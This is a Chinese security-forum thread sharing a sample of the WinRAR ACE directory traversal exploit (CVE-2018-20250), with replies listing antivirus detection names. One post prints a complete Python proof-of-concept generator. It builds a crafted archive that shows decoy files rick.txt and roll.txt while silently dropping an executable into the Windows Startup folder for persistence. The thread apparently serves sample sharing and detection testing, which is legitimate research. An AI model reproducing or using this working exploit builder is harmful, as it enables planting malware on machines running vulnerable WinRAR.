查看: 2568|回复: 25
收起左侧

[病毒样本] WinRAR目录穿越漏洞

[复制链接]
python无名氏
发表于 2022-12-19 15:53:01 | 显示全部楼层 |阅读模式
需要低版本的WinRAR预览状态下只有两个文件:rick.txt;roll.txt
且解压后也只有这俩活宝

解压后重启自动弹出计算器







本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +3 收起 理由
mifanu + 3 感谢预警

查看全部评分

对对对对
发表于 2022-12-19 15:57:33 | 显示全部楼层
本帖最后由 对对对对 于 2022-12-19 17:14 编辑

事件: 检测到恶意对象
用户: LAPTOP-PCM5IPNM\啊哈
用户类型: 活动用户
应用程序名称: msedge.exe
应用程序路径: C:\Program Files (x86)\Microsoft\Edge\Application
组件: 网页反病毒
结果说明: 检测到
类型: 木马
名称: HEUR:Exploit.Win32.CVE-2018-20250.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: forum.php?mod=attachment&aid=MzMxNTI4OHwzMDkwMzgxZHwxNjcxNDM2NjMwfDEyOTAxNDR8MjI0ODc2MQ%3D%3D
对象路径: https://bbs.kafan.cn
MD5: 2A286FCDF0196CBF8CBDC484D485D107
原因: 专家分析
数据库发布日期: ???????????????????

(WinRAR穿越漏洞)
心醉咖啡
发表于 2022-12-19 15:59:04 | 显示全部楼层
360

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
莫求
发表于 2022-12-19 16:01:50 | 显示全部楼层
管家16,压缩包kill
python无名氏
 楼主| 发表于 2022-12-19 16:14:48 | 显示全部楼层
GDATA Kill
Exploit.ACE-PathTraversal.Gen
python无名氏
 楼主| 发表于 2022-12-19 16:35:14 | 显示全部楼层
漏洞POC(python):
  1. #!/usr/bin/env python3

  2. import os
  3. import re
  4. import zlib
  5. import binascii
  6. import sys
  7. # 生成的压缩包名
  8. rar_filename = "test.rar"
  9. # 穿越的恶意文件
  10. evil_filename = "calc.exe"
  11. # 恶意文件释放的目录
  12. target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
  13. # Other files to be displayed when the victim opens the winrar
  14. # filename_list=[]
  15. filename_list = ["rick.txt", "roll.txt"]

  16. class AceCRC32:
  17.     def __init__(self, buf=b''):
  18.         self.__state = 0
  19.         if len(buf) > 0:
  20.             self += buf

  21.     def __iadd__(self, buf):
  22.         self.__state = zlib.crc32(buf, self.__state)
  23.         return self

  24.     def __eq__(self, other):
  25.         return self.sum == other

  26.     def __format__(self, format_spec):
  27.         return self.sum.__format__(format_spec)

  28.     def __str__(self):
  29.         return "0x%08x" % self.sum

  30.     @property
  31.     def sum(self):
  32.         return self.__state ^ 0xFFFFFFFF

  33. def ace_crc32(buf):
  34.     return AceCRC32(buf).sum

  35. def get_ace_crc32(filename):
  36.     with open(filename, 'rb') as f:
  37.         return ace_crc32(f.read())

  38. def get_right_hdr_crc(filename):
  39.     # This command may be different, it depends on the your Python3 environment.
  40.     p = os.popen('py -3 acefile.py --headers %s'%(filename))
  41.     res = p.read()
  42.     pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
  43.     result = pattern.findall(res)
  44.     right_hdr_crc = result[0].upper()
  45.     return hex2raw4(right_hdr_crc)

  46. def modify_hdr_crc(shellcode, filename):
  47.     hdr_crc_raw = get_right_hdr_crc(filename)
  48.     shellcode_new = shellcode.replace("6789", hdr_crc_raw)
  49.     return shellcode_new

  50. def hex2raw4(hex_value):
  51.     while len(hex_value) < 4:
  52.         hex_value = '0' + hex_value
  53.     return hex_value[2:] + hex_value[:2]

  54. def hex2raw8(hex_value):
  55.     while len(hex_value) < 8:
  56.         hex_value = '0' + hex_value
  57.     return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]

  58. def get_file_content(filename):
  59.     with open(filename, 'rb') as f:
  60.         return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'

  61. def make_shellcode(filename, target_filename):
  62.     if target_filename == "":
  63.         target_filename = filename
  64.     hdr_crc_raw = "6789"
  65.     hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
  66.     packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
  67.     origsize_raw = packsize_raw
  68.     crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
  69.     filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
  70.     filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)
  71.     content_raw = get_file_content(filename)
  72.     shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
  73.               + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
  74.               + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
  75.     return shellcode

  76. def build_file(shellcode, filename):
  77.     with open(filename, "wb") as f:
  78.         f.write(binascii.a2b_hex(shellcode.upper()))

  79. def build_file_add(shellcode, filename):
  80.     with open(filename, "ab+") as f:
  81.         f.write(binascii.a2b_hex(shellcode.upper()))

  82. def build_file_once(filename, target_filename=""):
  83.     shellcode = make_shellcode(filename, target_filename)
  84.     build_file_add(shellcode, rar_filename)
  85.     shellcode_new = modify_hdr_crc(shellcode, rar_filename)
  86.     content_raw = get_file_content(rar_filename).upper()
  87.     build_file(content_raw.replace(shellcode.upper(), shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9", get_file_content(filename)), rar_filename)

  88. if __name__ == '__main__':
  89.     print("[*] Start to generate the archive file %s..."%(rar_filename))

  90.     shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
  91.     build_file(shellcode_head, rar_filename)

  92.     for i in range(len(filename_list)):
  93.         build_file_once(filename_list[i])

  94.     build_file_once(evil_filename, target_filename)

  95.     print("[+] Evil archive file %s generated successfully !"%(rar_filename))
复制代码
PianoA
发表于 2022-12-19 17:26:20 | 显示全部楼层
本帖最后由 PianoA 于 2022-12-19 17:27 编辑

金山毒霸miss,难不成金山当年只对WinRAR做了处理方案?
anthonyqian
发表于 2022-12-19 18:15:59 | 显示全部楼层
ESET  ACE/Exploit.CVE-2018-20250.B
python无名氏
 楼主| 发表于 2022-12-19 18:18:19 | 显示全部楼层
各位也可以解压然后重启试一试纯天然无公害!(完事进shell:startup删掉hi.exe就行)
GDHJDSYDH
发表于 2022-12-21 09:18:51 | 显示全部楼层
MD: Exploit:Win32/CVE-2018-20250.B!dha
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-2 18:21 , Processed in 0.136037 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表